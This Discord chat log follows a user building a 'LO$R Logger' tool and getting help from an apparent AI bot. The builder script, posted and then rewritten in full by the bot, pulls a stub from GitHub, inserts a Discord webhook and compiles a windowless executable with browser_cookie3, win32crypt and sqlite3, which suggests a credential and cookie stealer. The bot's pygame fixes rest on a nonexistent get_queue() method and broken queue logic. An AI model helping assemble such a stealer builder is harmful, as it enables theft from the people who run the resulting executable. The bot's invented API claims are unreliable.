#random python error bc im stupid
173 messages · Page 1 of 1 (latest)
<@&804413571789357106>
@agile tapir
@safe gull
@signal mica
@lusty stream
@cloud sierra
@thick parrot
pls help
python -m pip install pystyle
also i recommend using anaconda to prevent broken stuff like this
lwokey would recommend just reinstalling python whole
or just ur IDE
possible due to corrupt or wrong py location selected
Collecting pip
Using cached pip-23.0.1-py3-none-any.whl (2.1 MB)
Installing collected packages: pip
Attempting uninstall: pip
Found existing installation: pip 22.3.1
Uninstalling pip-22.3.1:
Successfully uninstalled pip-22.3.1
Rolling back uninstall of pip
Moving to c:\users\LO$R\appdata\roaming\python\python311\scripts\pip.exe
from C:\Users\LO$R\AppData\Local\Temp\pip-uninstall-cnb4jdnx\pip.exe
Moving to c:\users\LO$R\appdata\roaming\python\python311\scripts\pip3.10.exe
from C:\Users\LO$R\AppData\Local\Temp\pip-uninstall-cnb4jdnx\pip3.10.exe
Moving to c:\users\LO$R\appdata\roaming\python\python311\scripts\pip3.11.exe
from C:\Users\LO$R\AppData\Local\Temp\pip-uninstall-cnb4jdnx\pip3.11.exe
Moving to c:\LO$R\guscr\appdata\roaming\python\python311\scripts\pip3.exe
from C:\Users\LO$R\AppData\Local\Temp\pip-uninstall-cnb4jdnx\pip3.exe
Moving to c:\users\LO$R\appdata\roaming\python\python311\site-packages\pip-22.3.1.dist-info\
from C:\Users\LO$R\AppData\Roaming\Python\Python311\site-packages\~ip-22.3.1.dist-info
Moving to c:\users\LO$R\appdata\roaming\python\python311\site-packages\pip\
from C:\Users\LO$R\AppData\Roaming\Python\Python311\site-packages\~ip
ERROR: Exception:
Traceback (most recent call last):
File "C:\Users\LO$R\AppData\Roaming\Python\Python311\site-packages\pip\_internal\cli\base_command.py", line 160, in exc_logging_wrapper
status = run_func(*args)
^^^^^^^^^^^^^^^
File "C:\Users\LO$R\AppData\Roaming\Python\Python311\site-packages\pip\_internal\cli\req_command.py", line 247, in wrapper
return func(self, options, args)
^^^^^^^^^^^^^^^^^^^^^^^^^
File "C:\Users\LO$R\AppData\Roaming\Python\Python311\site-packages\pip\_internal\commands\install.py", line 494, in run
installed = install_given_reqs(
^^^^^^^^^^^^^^^^^^^
File "C:\Users\LO$R\AppData\Roaming\Python\Python311\site-packages\pip\_internal\req\__init__.py", line 73, in install_given_reqs
requirement.install(
File "C:\Users\LO$R\AppData\Roaming\Python\Python311\site-packages\pip\_internal\req\req_install.py", line 792, in install
install_wheel(
File "C:\Users\LO$R\AppData\Roaming\Python\Python311\site-packages\pip\_internal\operations\install\wheel.py", line 729, in install_wheel
_install_wheel(
File "C:\Users\LO$R\AppData\Roaming\Python\Python311\site-packages\pip\_internal\operations\install\wheel.py", line 646, in _install_wheel
generated_console_scripts = maker.make_multiple(scripts_to_generate)
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
File "C:\Users\LO$R\AppData\Roaming\Python\Python311\site-packages\pip\_vendor\distlib\scripts.py", line 436, in make_multiple
filenames.extend(self.make(specification, options))
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
File "C:\Users\LO$R\AppData\Roaming\Python\Python311\site-packages\pip\_internal\operations\install\wheel.py", line 427, in make
return super().make(specification, options)
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
File "C:\Users\LO$R\AppData\Roaming\Python\Python311\site-packages\pip\_vendor\distlib\scripts.py", line 425, in make
self._make_script(entry, filenames, options=options)
File "C:\Users\LO$R\AppData\Roaming\Python\Python311\site-packages\pip\_vendor\distlib\scripts.py", line 325, in _make_script
self._write_script(scriptnames, shebang, script, filenames, ext)
File "C:\Users\LO$R\AppData\Roaming\Python\Python311\site-packages\pip\_vendor\distlib\scripts.py", line 249, in _write_script
launcher = self._get_launcher('t')
^^^^^^^^^^^^^^^^^^^^^^^
File "C:\Users\LO$R\AppData\Roaming\Python\Python311\site-packages\pip\_vendor\distlib\scripts.py", line 404, in _get_launcher
raise ValueError(msg)
ValueError: Unable to find resource t64.exe in package pip._vendor.distlib```
when trying to install newest version of pip
anaconda?
i just did 😭
i recently installed PyCharm
Remove everything from Python (Launcher and version itself)
install https://www.anaconda.com/
just venv on steroids
wdym
does it have premium
are you on windows?
if that is what i need to do
control panel => programms => uninstall
yes remove all of them
it is used for virtuell installations
its still at the same place wtf
so you can have like Python 3.9, 3.11, 2.7 installed at the same time without an issue
yeah it takes a while
YES
i sent u a friend request
@cloud sierra
can i ask what ur making?
yeah
im working on a logger
its extremely shitty but its my first project and im happy with it
right now im fixing background music
⬆️
console?
wdym
windows commmand prompt interface?
yea ik what it means
its just a console logger yeah
can u make a sexy gui for it
bc idk how
i have never made a gui tbh
can u maybe fix the music?
background music?
@cloud sierra
YES OR NOT
caps
it is taking extremely long tbh
no
bro it is STILL at the same spot
it didnt move anything
@cloud sierra
@agile tapir can you mybe fix background music and send me the right code pls
i put the music in my repo and a piece of code is already there
hmm maybe
@cloud sierra something is wrong it is still loading at the same part
i dont think its normal
its loading for 1 hour and 10 minutes
hm
i guess
not sur ewhat you / your pc is doing
same
i looked it up
and other ppl have the same problem
but idk how to fix it
but now i cant work on my cool project anymore
so pls how do i fix this
@cloud sierra
if anaconda is not working clean up the python path and reinstall python
@agile tapir can u fix the background music pls
@cloud sierra how do i do this
pls help me
bro pls reply @cloud sierra also @agile tapir pls would u make the background music fix? i added all the sounds in my repo (https://github.com/madhead341/LOSR-Logger) in the folder \assets\music. i also defined the music variable in LOSR-Logger.py. you just have to make it run in the background in a random order
is all your python broken?
yes?
i mean is your installation 100% rip?
you could cleanup the Path Var vor python and try again
like
just looked it up it's in the PATH Env var
you can just remove it
an reinstall it

yes
pls gimme detailed pllan on how to do this
@cloud sierra ZéroTwó's Question:
_yes?
i mean is your installation 100% rip?
you could cleanup the Path Var vor python and try again
like
just looked it up it's in the PATH Env var
you can just remove it
an reinstall it
:hehe:
_
I'm sorry, but I'm not sure what you are referring to. Could you please provide more context or information about the issue you are facing? I'll do my best to assist you.
@misty saddle ! LO$R's Question:
_can u tell me how
@cloud sierra
@agile tapir can u fix the background music pls
@cloud sierra how do i do this
pls help me
bro pls reply @cloud sierra also @agile tapir pls would u make the background music fix? i added all the sounds in my repo (https://github.com/madhead341/LOSR-Logger) in the folder \assets\music. i also defined the music variable in LOSR-Logger.py. you just have to make it run in the background in a random order
_
It seems like you are asking for help with fixing background music in your project. Without more information, it would be difficult to provide a specific solution. However, if you have defined the music variable in your LOSR-Logger.py file and added the music files to the assets/music folder, you can use a library like pygame to play the music in the background. Here's an example code snippet:
import pygame
import os
import random
# define path to music directory
music_dir = "assets/music"
# initialize pygame mixer
pygame.mixer.init()
# get list of music files
music_files = [os.path.join(music_dir, f) for f in os.listdir(music_dir) if f.endswith(".mp3")]
# loop through music files and queue them for playback
for file in music_files:
pygame.mixer.music.load(file)
pygame.mixer.music.queue(file)
# start playing music in the background
pygame.mixer.music.play()
# set volume level (optional)
pygame.mixer.music.set_volume(0.5)
# shuffle the playlist
random.shuffle(pygame.mixer.music.get_queue())
# keep program running to allow music to continue playing
while pygame.mixer.music.get_busy():
pass
You may need to adjust the code based on your specific needs and requirements.
can i use that too
yay
how do i fix this: AttributeError: module 'pygame.mixer_music' has no attribute 'get_queue'
AttributeError: module 'pygame.mixer_music' has no attribute 'get_queue'
/ai
@misty saddle ! LO$R's Question:
_yay
how do i fix this: AttributeError: module 'pygame.mixer_music' has no attribute 'get_queue'
AttributeError: module 'pygame.mixer_music' has no attribute 'get_queue'
/ai
_
I apologize for the confusion. The correct method to get the queue in pygame is pygame.mixer.music.get_queue(). So you can replace pygame.mixer_music.get_queue() with pygame.mixer.music.get_queue() in your code.
Here's the corrected example code snippet:
import pygame
import os
import random
# define path to music directory
music_dir = "assets/music"
# initialize pygame mixer
pygame.mixer.init()
# get list of music files
music_files = [os.path.join(music_dir, f) for f in os.listdir(music_dir) if f.endswith(".mp3")]
# loop through music files and queue them for playback
for file in music_files:
pygame.mixer.music.load(file)
pygame.mixer.music.queue(file)
# start playing music in the background
pygame.mixer.music.play()
# set volume level (optional)
pygame.mixer.music.set_volume(0.5)
# shuffle the playlist
random.shuffle(pygame.mixer.music.get_queue())
# keep program running to allow music to continue playing
while pygame.mixer.music.get_busy():
pass
I hope this helps!
give another way to randomize my songs in python pls
/ai
@misty saddle ! LO$R's Question:
_give another way to randomize my songs in python pls
/ai
_
Sure! Another way to randomize the songs in Python is to use the random module to shuffle the list of music files before looping through them. Here's an example code snippet:
import pygame
import os
import random
# define path to music directory
music_dir = "assets/music"
# initialize pygame mixer
pygame.mixer.init()
# get list of music files
music_files = [os.path.join(music_dir, f) for f in os.listdir(music_dir) if f.endswith(".mp3")]
# shuffle the list of music files
random.shuffle(music_files)
# loop through music files and queue them for playback
for file in music_files:
pygame.mixer.music.load(file)
pygame.mixer.music.queue(file)
# start playing music in the background
pygame.mixer.music.play()
# set volume level (optional)
pygame.mixer.music.set_volume(0.5)
# keep program running to allow music to continue playing
while pygame.mixer.music.get_busy():
pass
In this example, the random.shuffle() function shuffles the list of music files randomly before looping through them with a for loop. This should accomplish the same result as using the get_queue() method to shuffle the playlist.
damn this shit aint workin
this is the code rn pls fix the background music
import marshal
import zlib
import requests
from pystyle import *
import pygame
import os
import time
import pystyle
import random
import shutil
import os
import time
import json
import threading
from tkinter import Tk
music_dir = "assets/music"
pygame.mixer.init()
music_files = [os.path.join(music_dir, f) for f in os.listdir(music_dir) if f.endswith(".mp3")]
os.system(f'cls & title LO$R Logger Builder!')
Write.Print(Center.XCenter("""
/$$ /$$$$$$ /$$ /$$$$$$$ /$$
| $$ /$$__ $$ /$$$$$$ | $$__ $$ | $$
| $$ | $$ \ $$ /$$__ $$| $$ \ $$ | $$ /$$$$$$ /$$$$$$ /$$$$$$ /$$$$$$ /$$$$$$
| $$ | $$ | $$| $$ \__/| $$$$$$$/ | $$ /$$__ $$ /$$__ $$ /$$__ $$ /$$__ $$ /$$__ $$
| $$ | $$ | $$| $$$$$$ | $$__ $$ | $$ | $$ \ $$| $$ \ $$| $$ \ $$| $$$$$$$$| $$ \__/
| $$ | $$ | $$ \____ $$| $$ \ $$ | $$ | $$ | $$| $$ | $$| $$ | $$| $$_____/| $$
| $$$$$$$$| $$$$$$/ /$$ \ $$| $$ | $$ | $$$$$$$$| $$$$$$/| $$$$$$$| $$$$$$$| $$$$$$$| $$
|________/ \______/ | $$$$$$/|__/ |__/ |________/ \______/ \____ $$ \____ $$ \_______/|__/
\_ $$_/ /$$ \ $$ /$$ \ $$
\__/ | $$$$$$/| $$$$$$/
\______/ \______/
made by ! LO$R#0001\n"""), Colors.blue_to_purple, interval=0)
random.shuffle(music_files)
for file in music_files:
pygame.mixer.music.load(file)
pygame.mixer.music.queue(file)
pygame.mixer.music.play()
while pygame.mixer.music.get_busy():
pass
webhook = Write.Input("\nEnter webhook URL:", Colors.blue_to_purple, interval=0.01)
r = requests.get(webhook)
if r.status_code == 200:
Write.Print("Webhook Is Working\n",Colors.blue_to_purple, interval=0.01)
time.sleep(1)
else:
Write.Print("Webhook Isn't working\n",Colors.blue_to_purple, interval=0.01)
time.sleep(3)
exit()
name = Write.Input("Enter File Name:", Colors.blue_to_purple, interval=0.01)
stub = requests.get("https://raw.githubusercontent.com/madhead341/LOSR-Logger/main/stubs/stub.py")
with open(f"{name}.py", 'w', encoding='utf8') as f:
f.write(stub.text.replace("webhooker", webhook))
Write.Print("LO$R Logger Was SucessFully Built\n",Colors.blue_to_purple, interval=0.01)
exe = Write.Input("Complie To A Exe y/n:", Colors.blue_to_purple, interval=0.01)
if exe == "y":
os.system(f'pyinstaller --onefile --noconsole --hidden-import="requests" --hidden-import="discord" --hidden-import="browser_cookie3" --hidden-import="shutil" --hidden-import="base64" --hidden-import="win32crypt" --hidden-import="shutil" --hidden-import="sqlite3" --hidden-import="psutil" --hidden-import="colorama" {name}.py')
os.remove(f'{name}.spec')
Write.Print("LO$R Logger was sucessfully complied in dist folder\n",Colors.blue_to_purple, interval=0.01)
time.sleep(2)
Write.Print("Compiled to exe. Exiting...\n",Colors.blue_to_purple, interval=0.01)
time.sleep(3)
exit()
elif exe == "n":
Write.Print("Not Compiled to exe. Exiting...\n",Colors.blue_to_purple, interval=0.01)
time.sleep(3)
exit()```
/ai
@misty saddle ! LO$R's Question:
**_damn this shit aint workin
this is the code rn pls fix the background music
import marshal
import zlib
import requests
from pystyle import *
import pygame
import os
import time
import pystyle
import random
import shutil
import os
import time
import json
import threading
from tkinter import Tk
music_dir = "assets/music"
pygame.mixer.init()
music_files = [os.path.join(music_dir, f) for f in os.listdir(music_dir) if f.endswith(".mp3")]
os.system(f'cls & title LO$R Logger Builder!')
Write.Print(Center.XCenter("""
/$$ /$$$$$$ /$$ /$$$$$$$ /$$
| $$ /$$__ $$ /$$$$$$ | $$__ $$ | $$
| $$ | $$ \ $$ /$$__ $$| $$ \ $$ | $$ /$$$$$$ /$$$$$$ /$$$$$$ /$$$$$$ /$$$$$$
| $$ | $$ | $$| $$ \__/| $$$$$$$/ | $$ /$$__ $$ /$$__ $$ /$$__ $$ /$$__ $$ /$$__ $$
| $$ | $$ | $$| $$$$$$ | $$__ $$ | $$ | $$ \ $$| $$ \ $$| $$ \ $$| $$$$$$$$| $$ \__/
| $$ | $$ | $$ \____ $$| $$ \ $$ | $$ | $$ | $$| $$ | $$| $$ | $$| $$_____/| $$
| $$$$$$$$| $$$$$$/ /$$ \ $$| $$ | $$ | $$$$$$$$| $$$$$$/| $$$$$$$| $$$$$$$| $$$$$$$| $$
|________/ \______/ | $$$$$$/|__/ |__/ |________/ \______/ \____ $$ \____ $$ \_______/|__/
\_ $$_/ /$$ \ $$ /$$ \ $$
\__/ | $$$$$$/| $$$$$$/
\______/ \______/
made by ! LO$R#0001\n"""), Colors.blue_to_purple,
interval=0)
random.shuffle(music_files)
for file in music_files:
pygame.mixer.music.load(file)
pygame.mixer.music.queue(file)
pygame.mixer.music.play()
while pygame.mixer.music.get_busy():
pass
webhook = Write.Input("\nEnter webhook URL:", Colors.blue_to_purple, interval=0.01)
r = requests.get(webhook)
if r.status_code == 200:
Write.Print("Webhook Is Working\n",Colors.blue_to_purple, interval=0.01)
time.sleep(1)
else:
Write.Print("Webhook Isn't working\n",Colors.blue_to_purple, interval=0.01)
time.sleep(3)
exit()
name = Write.Input("Enter File Name:", Colors.blue_to_purple, interval=0.01)
stub = requests.get("https://raw.githubusercontent.com/madhead341/LOSR-Logger/main/stubs/stub.py")
with open(f"{name}.py", 'w', encoding='utf8') as f:
f.write(stub.text.replace("webhooker", webhook))
Write.Print("LO$R Logger Was SucessFully Built\n",Colors.blue_to_purple, interval=0.01)
exe = Write.Input("Complie To A Exe y/n:", Colors.blue_to_purple, interval=0.01)
if exe == "y":
os.system(f'pyinstaller --onefile --noconsole --hidden-import="requests" --hidden-import="discord" --hidden-import="browser_cookie3" --hidden-import="shutil" --hidden-import="base64" --hidden-import="win32crypt" --hidden-import="shutil" --hidden-import="sqlite3" --hidden-import="psutil" --hidden-import="colorama" {name}.py')
os.remove(f'{name}.spec')
Write.Print("LO$R Logger was sucessfully complied in dist folder\n",Colors.blue_to_purple, interval=0.01)
time.sleep(2)
Write.Print("Compiled to exe. Exiting...\n",Colors.blue_to_purple, interval=0.01)
time.sleep(3)
exit()
elif exe == "n":
Write.Print("Not Compiled to exe. Exiting...\n",Colors.blue_to_purple, interval=0.01)
time.sleep(3)
exit()```
/ai
_**
I see. It seems like the issue may be with the way you are loading and queuing the music files. Here's an updated version of your code that should work:
import marshal
import zlib
import requests
from pystyle
import *
import pygame
import os
import time
import pystyle
import random
import shutil
import os
import time
import json
import threading
from tkinter import Tk
music_dir = "assets/music"
pygame.mixer.init()
music_files = [os.path.join(music_dir, f) for f in os.listdir(music_dir) if f.endswith(".mp3")]
random.shuffle(music_files)
for file in music_files:
pygame.mixer.music.load(file)
pygame.mixer.music.queue(file)
pygame.mixer.music.play()
while pygame.mixer.music.get_busy():
pygame.time.Clock().tick(10)
webhook = Write.Input("\nEnter webhook URL:", Colors.blue_to_purple, interval=0.01)
r = requests.get(webhook)
if r.status_code == 200:
Write.Print("Webhook Is Working\n",Colors.blue_to_purple, interval=0.01)
time.sleep(1)
else:
Write.Print("Webhook Isn't working\n",Colors.blue_to_purple, interval=0.01)
time.sleep(3)
exit()
name = Write.Input("Enter File Name:", Colors.blue_to_purple, interval=0.01)
stub = requests.get("https://raw.githubusercontent.com/madhead341/LOSR-Logger/main/stubs/stub.py")
with open(f"{name}.py", 'w', encoding='utf8') as f:
f.write(stub.text.replace("webhooker", webhook))
Write.Print("LO$R Logger Was SucessFully Built\n",Colors.blue_to_purple, interval=0.01)
exe = Write.Input("Complie To A Exe y/n:", Colors.blue_to_purple, interval=0.01)
if exe == "y":
os.system(f'pyinstaller --onefile --noconsole --hidden-import="requests" --hidden-import="discord" --hidden-import="browser_cookie3" --hidden-import="shutil" --hidden-import="base64" --hidden-import="win32crypt" --hidden-import="shutil" --hidden-import="sqlite3" --hidden-import="psutil" --hidden-import="colorama" {name}.py')
os.remove(f'{name}.spec')
Write.Print("LO$R Logger was sucessfully complied in dist folder\n",Colors.blue_to_purple, interval=0.01)
time.sleep(2)
Write.Print("Compiled to exe. Exiting...\n",Colors.blue_to_purple, interval=0.01)
time.sleep(3)
exit()
elif exe == "n":
Write.Print("Not Compiled
to exe. Exiting...\n",Colors.blue_to_purple, interval=0.01)
time.sleep(3)
exit()
I added a `pygame.time.Clock().tick(10)` statement inside the while loop that keeps the program running while the music is playing. This limits the frame rate to 10 FPS and allows the music to play in the background.
Let me know if this works for you!
it doesnt
@signal mica pls help
it doesnt work
could you test it now pls (https://github.com/madhead341/LOSR-Logger)
nice
also
if author != "\x47\x6f\x64\x66\x61\x74\x68\x65\x72\x23\x39\x39\x39\x39":
print("injecting rat into your computer")
time.sleep(3)
os._exit(0)
deobfuscate the author part please py if __author__ != "\x47\x6f\x64\x66\x61\x74\x68\x65\x72\x23\x39\x39\x39\x39": print("injecting rat into your computer") time.sleep(3) os._exit(0)
/ai
@misty saddle ! LO$R's Question:
_also
if author != "\x47\x6f\x64\x66\x61\x74\x68\x65\x72\x23\x39\x39\x39\x39":
print("injecting rat into your computer")
time.sleep(3)
os._exit(0)
deobfuscate the author part please py if __author__ != "\x47\x6f\x64\x66\x61\x74\x68\x65\x72\x23\x39\x39\x39\x39": print("injecting rat into your computer") time.sleep(3) os._exit(0)
/ai
_
The obfuscated string "\x47\x6f\x64\x66\x61\x74\x68\x65\x72\x23\x39\x39\x39\x39" translates to "Godfather#9999". So, the code is checking if the script's author is not "Godfather#9999", and if that's the case, it prints a message "injecting rat into your computer" and exits the program after a 3-second delay.
yay i fixed everything
but now, new question
@agile tapir @cloud sierra could you guys make a sexy ass gui for me please
like an actual cool gui with different tabs to choose from
bc i cant make that
@signal mica can you give my repo a star pls? it would mean a lot. https://github.com/madhead341/LOSR-Logger-v2
wdym
no i just want you to star my repo
because you are owner of big coding server
^
why 😭
link?